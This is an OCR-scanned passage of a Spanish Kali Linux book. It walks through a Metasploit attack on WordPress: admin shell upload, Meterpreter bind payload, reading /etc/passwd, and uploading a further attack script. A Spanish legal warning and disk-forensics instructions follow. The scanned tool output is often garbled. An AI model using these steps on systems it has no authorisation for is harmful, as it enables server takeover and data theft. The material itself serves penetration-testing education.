
wmap_run -t

Obteniendo la siguiente salida:

Modul e

[
[
[
|
[
[
[
[
[
[
[
|
[
[
1
[
I

[y ST SR S S g VR W S VS SO SR My S e St
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Finalmente, podemos lanzar todas las pruebas listadas contra el objetivo
marcado con el comando:

wmap_run -e

Obteniendo la salida:

; y/ac

g to connect to 1
Tound

ilia

y not support FrontPage er Extensions
-tion
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Aqui tenemos pantallas y pantallas de SOAPAction, hasta llegar a:

Hemos terminado. Ahora listamos las vulnerabilidades directamente
explotables con:

vulns

Cuya salida seria algo como:

e=wWordPress Admin Shell Upload re

O podemos mirar puntos potenciales de ataque, con:
wmap_vulns -l

Que tendria como salida:

=f =
1
“1
"1
1
1
il
1
|
1
f
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Podemos utilizar tanto una informacion como la otra para utilizar uno de los
exploits de Metasploit, 0 hacernos el nuestro. Vamos a centrarnos ahora en el primer
caso: utilizar un exploit preexistente.

8.5 UN CASO DE EJEMPLO - EXPLOTACION DE VULNERABILIDADES

Ahora vamos a explotarlo. Sabemos que es un exploit de Wordpress, por lo
que primero buscaremos todos los exploits de Wordpress; lo que hacemos con:

search name:wordpress

Y la salida sera:
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Lo siguiente que haremos serd utilizar uno de estos exploits. La forma de
utilizar el exploit serd mediante el comando:

use caminoexploit

Donde caminoexploit es el nombre completo del exploit, con su camino, tal
y como lo vemos en el listado anterior.

Vamos a utilizar el exploit que aprovecha la vulnerabilidad encontrada en el
paso anterior; lo que haremos con:

use exploit/unix/webapp/wp_admin_shell_upload
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El resultado es:

Es interesante observar como el prompt ha cambiado, y ahora estamos dentro
del exploit.

Podemos mostrar los targets potenciales de este exploit con:
show targets

Obtendriamos algo como:

Podemos mostrar los payloads disponibles haciendo:

show payloads

Obtendriamos algo como:
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Tenemos un payload especialmente interesante, el Meterpreter. Vamos

a poner un socket TCP a la escucha con el Meterpeter, para controlar la mdquina
remota.

Lo primero es poner las opciones del exploit. Vemos las opciones con:

show options

Obteniendo:

Ahora modificamos los parametros. Debemos definir la IP del servidor,
asi como el nombre y el usuario de un usuario del blog que hayamos identificado

mediante otra técnica -inyeccién SQL, diccionario de claves o ingenieria social-.
Haremos:

set RHOST 192.168.2.20
set PASSWORD prueba
set USERNAME prueba

Para definir estos parametros. Ahora vemos que todo ha funcionado bien:

show options

Obteniendo la salida:
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Ahora asignamos el payload que queramos, lo que hacemos con:

set PAYLOAD rutadelpayload

Donde rutadelpayload serd el nombre y la ruta del payload, tal y como la
vimos con el comando show payloads. En nuestro ejemplo concreto, haremos:

set PAYLOAD php/meterpreter/bind_tcp

Obteniendo:

t PAYLOAD php/meterpretersbind_tcp

r/bind tcp

Y ahora viene la “magia” de Metasploit. Lanzamos el exploit con:
exploit

Obteniendo como resultado:

1sing prusba:p
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Esto se ha puesto interesante: acabamos de “escalar” de un usuario de
Wordpress a una sesion en una maquina remota autentificada.

Solo un detalle mds. Algunos payloads tienen sus propios parametros. Por
ejemplo, si hacemos:

use php/meterpreter/bind_tcp

Vemos que entramos en el payload:

) = use php/meterpreter/bind tcp

Podemos ver las opciones de configuracion con:
show options

Obteniendo:

ms T []-—."3"1 oad( ] = show opt ion=

Module options (payload/phps/meterprater/bind top) @

Mama _urrent Setting

En este caso, no ha hecho falta: las opciones por defecto nos han valido. Pero
no tendremos problemas en cambiar las opciones de los payload si lo necesitamos.

8.6 METERPRETER

Meterpreter es un troyano completo, que nos permite tomar el control remoto
de la mdquina. Esto permitird escalar privilegios dentro de la mdquina, obtener
informacion sensible, o utilizar la mdquina en la que estd instalado Meterpreter como
“mdquina de salto” para ir a por otro sistema.

En nuestro ejemplo concreto, podemos desde el Meterpreter ver informacion
de los usuarios del sistema remoto, haciendo:

cat /etc/passwd
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Obteniendo:

O ver el contenido de directorios; por ejemplo, si hacemos:

Is /home

Obteniendo como resultado:

O ver los procesos en ejecucion en el servidor remoto con:

ps
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Obteniendo:

También podemos hacer un shell remoto, con el comando:
shell

Y a partir de aqui, podremos lanzar comandos de linea de comandos como si
estuvieramos en la mdquina remota:
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Cualquier comando. De hecho, si se quiere hacer una escalada o un salto a
partir de este servidor, podemos subir una explotacion de una vulnerabilidad local o
un ataque scripteado utilizando upload:

upload ficherolocal directorioremoto

Se subira el fichero local ficherolocal al directorio de la maquina remota
directorioremoto. Por ejemplo, si hacemos:

upload siguienteataque.sh /tmp/

Obtendremos:

Hemos subido el script al directorio tmp de la mdquina remota, y ahora
podremos lanzarlo con el comando shell y continuar haciendo cosas, pero ya desde
la mdquina remota.

Es importante que entendamos las connotaciones de lo que estamos viendo:
en principio, en este caso concreto, podriamos hacer cualquier cosa que pudiera
hacer el usuario efectivo del servidor web. En un sistema Unix bien configurado, eso
ya da mucho poder; ya que hemos pasado de trabajar con vulnerabilidades remotas
a trabajar con vulnerabilidades locales y tener un shell local. Sin embargo, a veces
-especialmente en sistemas Windows-, Meterpreter obtiene privilegios completos
de administracién. Y aunque no los obtenga, desde Meterpreter se pueden hacer
cosas que ponen los pelos de punta: sacar fotos desde la webcam con webcam snap,
limpiar logs, lanzar programas, borrar discos o instalar aplicaciones son algunas de
las cosas que se pueden hacer. Una herramienta muy potente y con la que podemos
potencialmente hacer mucho dano; por lo que serd rara la auditoria de seguridad
en la que el test de intrusion negociado con el cliente nos haga llegar tan lejos.
Normalmente, la captura de un fichero local es mas que suficiente para convencer al
director de informdtica mds cerrado de mollera que tienen un problema muy grave
con la seguridad.
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ADVERTENCIA LEGAL

Ya de entrada, la tenencia de Kali como herramienta bordea lo legal.
El articulo 197ter del nuevo cddigo penal espanol dice que:

Serd castigado con una pena de prision de seis meses a dos anos o multa de
tres a dieciocho meses el que, sin estar debidamente autorizado, produzca, adquiera
para su uso, importe o, de cualquier modo, facilite a terceros, con la intencién de
facilitar la comision de alguno de los delitos a que se refieren los apartados 1 y 2 del
articulo 197 o el articulo 197 bis:

1. un programa informadtico, concebido o adaptado principalmente para
cometer dichos delitos; o

2. una contrasefa de ordenador, un cddigo de acceso o datos similares que
permitan acceder a la totalidad o a una parte de un sistema de informacion.

Aqui estamos en un escenario similar al de si un destornillador es una
herramienta o un arma. Si llevas el destornillador en una caja de herramientas, en el
maletero del coche, te para la Guardia Civil, y tienes una narrativa razonable de qué
haces con un destornillador en una caja de herramientas, es poco probable que tengas
problemas legales.

Por otro lado, si te pillan con un destornillador en una discoteca llena de
gente a la una de la madrugada y no eres de mantenimiento, casi con total seguridad
te lo van a requisar y te llegard la propuesta de sancién. Aunque el Reglamento de
Armas no menciona que un destornillador no es arma por la manana en el taller y
si es arma de madrugada en la discoteca, la interpretacion que se hace es que el que
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el destornillador sea una herramienta o un arma de quinta categoria depende del
contexto.

Entre estos dos escenarios hay toda una escala de grises, cuya valoracion
depende en primer lugar del miembro de las FCSE que te pille con el destornillador,
y en segundo lugar del tribunal que le toque juzgar el hecho. En cualquier caso, a
nadie le gusta complicarse la vida.

Con esta herramienta, pasa lo mismo.

Si te pillan en un despacho en el que no deberias estar, en una empresa que
no es la tuya, enchufando un USB con Kali a un ordenador que no te pertenece, sin
autorizacion de nadie, a las FCSE les va a importar poco la pelicula que les cuentes
de “Hacking ético”, “Whitehat”, y todo lo que se te ocurra.

Trabajando como auditor de seguridad, en el contexto de una auditoria,
con todos los papeles y autorizaciones firmados, y limitdndote a hacer lo que se te
ha contratado contra las mdquinas que se te ha contratado por el propietario legal
de las mdquinas, lo peor que te puede ocurrir es que pierdas algunas horas dando
explicaciones a un miembro de los FCSE; que primero estard mosqueado, y después
intrigado.

Entre estos dos escenarios hay toda una escala de grises. El problema es que
el destornillador termina en multa, y esto termina en cdrcel. Porlo que personalmente
te recomiendo que estés siempre en el lado mds claro del espectro. Entrar en un
organismo oficial con un portatil con Kali instalado, por poner un ejemplo, es una
fuente absurda de problemas innecesarios. Kali no es una herramienta que necesites
llevar todo el tiempo encima. Y piensa que, si te paran y no tienes una narrativa
razonable, te pueden aplicar el 197ter. No me consta jurisprudencia; pero la ley dice
lo que dice, y el caso mds parecido de lo que hay en la ley hasta ahora es el de las
herramientas que pueden también ser armas. Esto es una herramienta, pero también
puede ser un programa concebido para cometer delitos. Asi que sé sabio y prudente;
y no te compliques la vida.

Kali es una excepcional herramienta de andlisis forense y para realizar test
de intrusiones; peor también podria ser valorado en determinados contextos como
que estd bajo el 197ter. Utilizando Kali, dependes de lo que el tribunal evalue que la
palabra “principalmente” significa.

Por lo que debes tener eso en cuenta habitualmente.

Ademads de eso, no solo la tenencia; sino el uso inadecuado de lo aprendido
en este libro puede potencialmente ser delito penado con cdrcel en Esparia.
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En concreto, el articulo 197 bis del nuevo cddigo penal espafiol dice que:

1. El que por cualquier medio o procedimiento, vulnerando las medidas de
seguridad establecidas para impedirlo, y sin estar debidamente autorizado,
acceda o facilite a otro el acceso al conjunto o una parte de un sistema de
informacidn o se mantenga en €l en contra de la voluntad de quien tenga
el legitimo derecho a excluirlo, serd castigado con pena de prision de
seis meses a dos anos.

2. El que mediante la utilizacion de artificios o instrumentos técnicos, y
sin estar debidamente autorizado, intercepte transmisiones no publicas de
datos informaticos que se produzcan desde, hacia o dentro de un sistema
de informacidn, incluidas las emisiones electromagnéticas de los mismos,
serd castigado con una pena de prision de tres meses a dos anos o multa
de tres a doce meses.

También es importante recordar lo que dice el articulo 197ter del cdodigo
penal espanol:

Serd castigado con una pena de prision de seis meses a dos anos o multa de
tres a dieciocho meses el que, sin estar debidamente autorizado, produzca, adquiera
para su uso, importe o, de cualquier modo, facilite a terceros, con la intencion de
facilitar la comision de alguno de los delitos a que se refieren los apartados 1 y 2 del
articulo 197 o el articulo 197 bis:

1. un programa informadtico, concebido o adaptado principalmente para
cometer dichos delitos; o

2. una contrasefia de ordenador, un cddigo de acceso o datos similares que
permitan acceder a la totalidad o a una parte de un sistema de informacion.

Aunque hablamos de software que en principio se utiliza para hacer
auditorias de seguridad, ahora explica a un tribunal que te ha “cazado” haciendo lo
del 197 bis, que el software que estabas utilizando no cumple las condiciones del 197
ter. Hablamos de hasta seis anos de carcel.

Asi que cuidadito con las tonterias, que seis afios de cdrcel no es una broma.
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9.1 EJEMPLOS Y CAPTURAS DE LOS DOCUMENTOS DE ESTE LIBRO

Respecto a los ejemplos reales y las capturas reales mostradas en este
libro, todos han sido realizados con la autorizacion expresa de los propietarios
de los equipos contra los que se han realizado estas pruebas.

No realice nunca estas operaciones sin autorizacion expresa de los
propietarios de los sistemas auditados.



ANALISIS FORENSE CON KALI

Finalmente, veremos las caracteristicas de Kali como herramienta forense.

Al arrancar, Kali nos ofrece un modo forense “Live” -Live (forensic mode)-:

KALI

~the quicter you becomeg thiesmore you are able to hear”

Boot menu

Live (amd64)

Live (amdb4 failsafe)

Li (fc i ]
(check kali.org-pr
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ed options
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Con esta opcion, tendremos un Kali completamente funcional, con la
siguientes caracteristicas:

P En modo forense, Kali no monta automdticamente ningin medio de
almacenamiento distinto que el propio disco de arranque.

P Esto incluye discos duros internos, y particiones swap —-que, por defecto,
todas las distribuciones montan habitualmente-.

P No se activa la red por defecto, debiendo activarse a mano.

P La clave de root de la distribucion en Live es toor.

Para el andlisis forense, muchas de las cosas que necesitaremos ya las hemos
visto en este libro, o forman parte de los conocimientos basicos de Unix —find, grep,
tail, strings... -. Por ello, nos vamos a centrar en las dos tareas que tendremos que
hacer con mayor frecuencia: clonado de discos y data carving. Luego comentaremos
algunas utilidades que suelen usarse, y que son mas dificiles de encuadrar.

10.1 USO DE KALI EN ANALISIS FORENSE. CLONADO DE DISCOS

El clonado de discos es una de las tareas que realizaremos con mads
frecuencia en un trabajo forense. Lo mds comtin es utilizar o el ordenador analizado,
arrancandolo desde Kali en modo forense, o una estacion tipo NUC que llevemos
con nosotros. Es muy importante en un andlisis forense jamds arrancar desde el disco
duro analizado.

Para el clonado de discos, la forma mds rdpida de hacerlo es con el comando
dd, que tiene como sintaxis:

dd conv=sync,noerror if=dispositivodisco of=ficherosalida bs=tambloque

Donde dispositivodisco serd el dispositivo de disco que queramos clonar
—el origen, por lo tanto—, y ficherosalida sera el fichero de imagen —el destino, por
lo tanto-. tambloque es el tamano de bloque, y hace que dd lea de tambloque en
tambloque, acelerando el proceso. tambloque debe ser 4096 en la mayor parte de los
discos, salvo en los Western Digital, que debe ser de 512.

La opcién conv=sync,noerror es muy importante: noerror hace que dd no
pare aunque lea bloques erréneos. Por otro lado, sync hace que en lugar de “saltarse”
los bloques con error, 1o que es un problema clonando imdgenes, los rellene de ceros.
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Una vez que hemos terminado de generar la imagen. Esto lo podemos hacer
con:

md5sum nombreimagen > nombreimagen.md5

Donde nombreimagen serd el nombre de la imagen, y nombreimagen.md5
sera el nombre del fichero donde grabaremos la firma. Recomiendo que ese fichero
se llame como la imagen, pero terminado en mdb5.

La firma md5 es muy conveniente de cara a una pericia, ya que es compacta
y puede aparecer en una pericia escrita. Pero es vulnerable al ataque por colision
de hash, especialmente en ficheros tan grandes como las imagenes. Tenemos como
alternativa la firma SHAS512, que no es vulnerable al susodicho ataque. Podemos
firmar para SHAS512 con:

sha512sum nombreimagen > nombreimagen.sha512

Donde nombreimagen sera el nombre de la imagen, y el nombre del fichero
donde grabaremos la firma sera nombreimagen.sha512. Recomiendo que ese fichero
se llame como la imagen, pero terminado en sha512. Las firmas SHAS512 son muy
largas y poco practicas; por lo que personalmente suelo firmar también el fichero
SHAS512 con MDS5, incluir la firma MDS5 de la imagen y de la firma SHAS512 en la
pericia, y luego entregar la firma SHAS512 en el CD que acompaiie la pericia. Hasta
ahora, ningun tribunal ha dudado en esta mecdnica.

Es importante destacar que la firma hash de un disco origen con sectores
dafiados no se puede hacer. Por otro lado, la firma hash de un disco de estado so6lido
se puede hacer, pero puede no coincidir con la imagen, o no coincidir dos veces que
hagamos la firma con el mismo disco duro, aunque no esté alterado. Esto se debe
a como funciona internamente un disco duro de estado sélido, y no tiene solucion
directa, clonemos como clonemos y firmemos como firmemos.

Nos podemos encontrar, en cualquier caso, con problemas. El primero de
ellos es que el disco que nos hemos llevado para clonar sea mds pequeno que el
disco que tenemos que clonar. La primera solucidn, y que suele ser suficiente, es
comprimir la imagen; lo que hacemos con:

dd conv=sync,noerror if=dispositivodisco bs=tambloque | gzip -c > ficherosalida.gz

Donde dispositivodisco sera el dispositivo de disco que queramos clonar el
origen, por lo tanto—, y ficherosalida.gz seré el fichero de imagen comprimida —el
destino, por lo tanto-; y que es recomendable que termine en .gz. Por otro lado,
tambloque es el tamano de bloque, y hace que dd lea de tambloque en tambloque,
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acelerando el proceso. tambloque debe ser 4096 en la mayor parte de los discos,
salvo en los Western Digital, que debe ser de 512.

gzip suele ser mds popular, pero no obtendremos ni el volcado mds rdpido,
ni el fichero mas pequeio. Podemos conseguir esto con bzip2, que permite indicar
utilizar la mayor compresion posible. Con compresién mdxima, no son extrafias las
tasas de compresion 5:1 o 4:1 en imdgenes de discos. Hariamos:

dd conv=sync,noerror if=dispositivodisco bs=tambloque | bzip2 -9f > ficherosalida.bz2

Donde dispositivodisco serad el dispositivo de disco que queramos clonar —el
origen, por lo tanto—, y ficherosalida.bz2 sera el fichero de imagen comprimida —el
destino, por lo tanto-; y que es recomendable que termine en .bz2. Por otro lado,
tambloque es el tamano de bloque, y hace que dd lea de tambloque en tambloque,
acelerando el proceso. tambloque debe ser 4096 en la mayor parte de los discos,
salvo en los Western Digital, que debe ser de 512.

Firmamos en ambos casos el comprimido, y hemos resuelto el problema.

Otro problema que tenemos a veces es que queremos clonar un disco en un
escenario en el que no podemos abrir la maquina para sacar el disco duro, o enchufar
otro disco duro, por razones técnicas o legales. Entonces nos veremos forzados a
hacer un clonado a través de la red. La forma de hacer esto es arrancando desde Kali
en dos mdquinas distintas: la maquina que tiene el disco duro que queremos clonar,
y la mdquina en la que podemos volcar la imagen. En la mdquina en la que podemos
volcar la imagen hacemos:

nc -l -p puerto | dd conv=sync,noerror of=ficherosalida.
bz bs=tambloque

Donde puerto sera el puerto TCP al que se pondra a la escucha, y el fichero
de imagen comprimida —el destino, por lo tanto— sera ficherosalida. y que es
recomendable que termine en .bz2. Por otro lado, tambloque es el tamano de bloque,
y hace que dd escriba de tambloque en tambloque, acelerando el proceso. tambloque
debe ser 4096 en la mayor parte de los discos, salvo en los Western Digital, que debe
ser de 512.

Por otro lado, en la mdquina donde tenemos el disco que pretendemos clonar,
hacemos:

dd conv=sync,noerror if=dispositivodisco bs=tambloque | bzip2 -9f |
nc IPreceptor puerto
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Donde dispositivodisco serd el dispositivo de disco que queramos clonar
-el origen, por lo tanto-, y tambloque es el tamano de bloque, y hace que dd lea
de tambloque en tambloque, acelerando el proceso. tambloque debe ser 4096 en la
mayor parte de los discos, salvo en los Western Digital, que debe ser de 512. Por
otro lado IPreceptor es la IP de la mdquina que estd recibiendo la imagen, y puerto el
puerto que hemos puesto a la escucha.

Si lo que queremos es generar una imagen partida en varios ficheros mas
pequenos, y ademds emplear compresion, lo haremos con:

dd conv=sync,noerror if=dispositivodisco bs=tambloque | bzip2 -9f |
split -d -b tamfich - prefijo

Donde dispositivodisco serd el dispositivo de disco que queramos clonar
-el origen, por lo tanto-, y tambloque es el tamano de bloque, y hace que dd lea
de tambloque en tambloque, acelerando el proceso. tambloque debe ser 4096 en
la mayor parte de los discos, salvo en los Western Digital, que debe ser de 512. El
parametro tamfich corresponde con el tamafio de los ficheros partidos; y prefijo el
prefijo de los ficheros creados; por ejemplo, si se crean tres ficheros de salida, se
llamaran prefijo00, prefijo01 y prefijo02.

Como vemos, comprimimos antes de partir con split, y comprimimos con
compresion maxima; por lo que no es extraiio que tengamos tasas de compresion
altas, y podamos incluso llegar a almacenar un disco de 4TB en dos discos de 512
GB.

Es posible siempre recuperar la imagen a partir de los trozos anteriores.

cat ‘Is prefijo, | sort‘ | bunzip2 > imagen.img

Donde prefijo es el prefijo de los ficheros creados anteriormente, y sera
imagen.img la imagen que estamos generando.

Un problema que tiene dd es que es poco verboso en la salida. Y es probable
que tengamos al notario detrds nuestro preguntando de forma reiterada “¢Falta
mucho?”. Para saber cuanto llevamos clonado o transferido, una forma es mirar
el archivo de salida; pero si estamos generando una salida comprimida, es poco
ilustrativo de cuanto realmente llevamos. Otra forma de saberlo es ir a otra consola,
y hacer:

kill -USR1 pid
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Donde pid es el PID del proceso dd, que podemos obtener con el comando
ps.

Podemos hacer que dd genere una realimentacion con lo que lleva avanzado,
haciendo desde otra consola:

while ‘true’; do kill -usrl pid; sleep segundos; done

Donde pid es el PID del proceso dd, que podemos obtener con el comando
ps; y segundos el nimero de segundos entre avisos. Recomiendo poner 10 segundos,
para que interfiera lo minimo.

10.2 USO DE KALI EN ANALISIS FORENSE. VISION Y EDICION DE IMAGENES DE
DISCO

Es recomendable que trabajemos con volcados de discos enteros, no con
volcados de particiones; ya que podemos tener informacion de gran importancia de
naturaleza forense fuera de las particiones.

El problema de trabajar con imdgenes de discos enteros es que no podemos
montar la imagen sin mds. Hay que dar un paso intermedio. Para ello, utilizaremos
la utilidad kpartx, que tiene como sintaxis:

kpartx -a imagen.img

Siendo imagen.img la imagen sobre la que estamos trabajando; y que crea en
/dev/mapper una serie de dispositivos loop que corresponden a las particiones de la
imagen, y que luego podremos montar con mount. Podemos también ver cuales son
las particiones de una imagen, haciendo:

kpartx -l imagen.img

Finalmente, no olvidemos montar la particion con la opcion -o ro. Si lo
hacemos de otra forma, todo el esfuerzo para respetar la integridad de la imagen no
habrd valido para nada.

Por ejemplo, para ver qué particiones tiene una imagen y donde se crearian,
crear las imdgenes, y montar una particion como de solo lectura, haremos primero:

kpartx -a imagenAnalisis.img
Después vemos las particiones con:

kpartx -l imagenAnalisis.img
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Obteniendo:
ooplpl : @ 7775397 fdev/loopl 63
loop1p3 : @ 16065 fdev/loopl 7775460
looplp4 : O 16065 fdev/loopl 7791525

Vemos el contenido del directorio /dev/mapper:
Is -1 /dev/mapper/
Obteniendo:

ontrol
oopopl
oopBp3

oopOp4

Y podemos montar en /media/pericia como de solo lectura la primera
particion haciendo:

mount /dev/mapper/loopOpl /mnt -o ro

10.3 USO DE KALI EN ANALISIS FORENSE. DATA CARVING

Una de las tareas que tendremos que hacer con relativa frecuencia es la
recuperacion de archivos de una imagen. O porque se han borrado voluntariamente,
o porque se han borrado accidentalmente, o como restos via temporales borrados de
algtin tipo de actividad que estemos analizando.

El primer planteamiento para la recuperacion de datos es el “undelete”
estandar; pero solo funciona cuando hace muy poco uso del disco que el archivo se
borra.

Sin embargo, existe otro planteamiento: el llamado file carving o data
carving. Bdsicamente consiste en, utilizando una expresion regular que modele un
tipo concreto de fichero, o su firma de cabecera, recorrer toda la imagen del disco
buscando esa expresion regular o esa firma de cabecera. Esto tiene el inconveniente
de que genera muchos falsos positivos —por ejemplo, un video en MPG con frecuencia
es identificado tanto como video como muchas imagenes consecutivas—, asi como
que recupera muchos archivos destrozados, que ya no es posible visualizar. Pero
tiene la ventaja de que si hay restos de algo, lo va a encontrar; y restos de una imagen
o de un PDF van a dar mucho juego desde el punto de vista de la informdtica forense.
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Para hacer data carving tenemos dos utilidades: scalpel, que suele fallar, y
foremost, que funciona muy bien. La forma de lanzar foremost es con:

foremost -t tipo -i imagen -o salida

Donde tipo es el tipo de fichero que queramos extraer —como por ejemplo,
jpg—, imagen el fichero sobre el que queremos hacer el data carving, y salida el
directorio donde se quieren grabar los datos. Por ejemplo, si hacemos:

foremost -i imagenDisco.img

Hard un data carving completo, buscando cualquier tipo de fichero que
conozca, sobre imagenDisco.img. Creard un directorio denominado output, donde
encontraremos un fichero audit.txt conun informe de lo encontrado. Y en el susodicho
directorio output encontraremos a su vez un subdirectorio por cada tipo de archivo.
Los ficheros encontrados estaran cada uno en un directorio denominado como su
tipo, teniendo como nombre de fichero el sector donde comienza lo encontrado, y la
extension del tipo.

Es importante que recordemos que el tipo lo debemos indicar sin el punto; es
decir, si queremos extraer los archivos JPG, haremos:

foremost -t jpg -i imagen -o salida
En lugar de:
foremost -t .jpg -i imagen -o salida

Que no funcionars.

10.4 USO DE KALI EN ANALISIS FORENSE. OTRAS UTILIDADES

Otras utilidades que pueden ser interesantes para hacer un andlisis forense y
que son dificiles de encuadrar son:

P vol: andlisis forense de memoria RAM y particiones de swap.
V' xxd: permite generar volcados hexadecimales de ficheros binarios.
W pdfresurect: permite hacer analisis forense sobre ficheros PDF.

W pOf: fingerprinting pasivo, para identificar ataques Man in the Middle.
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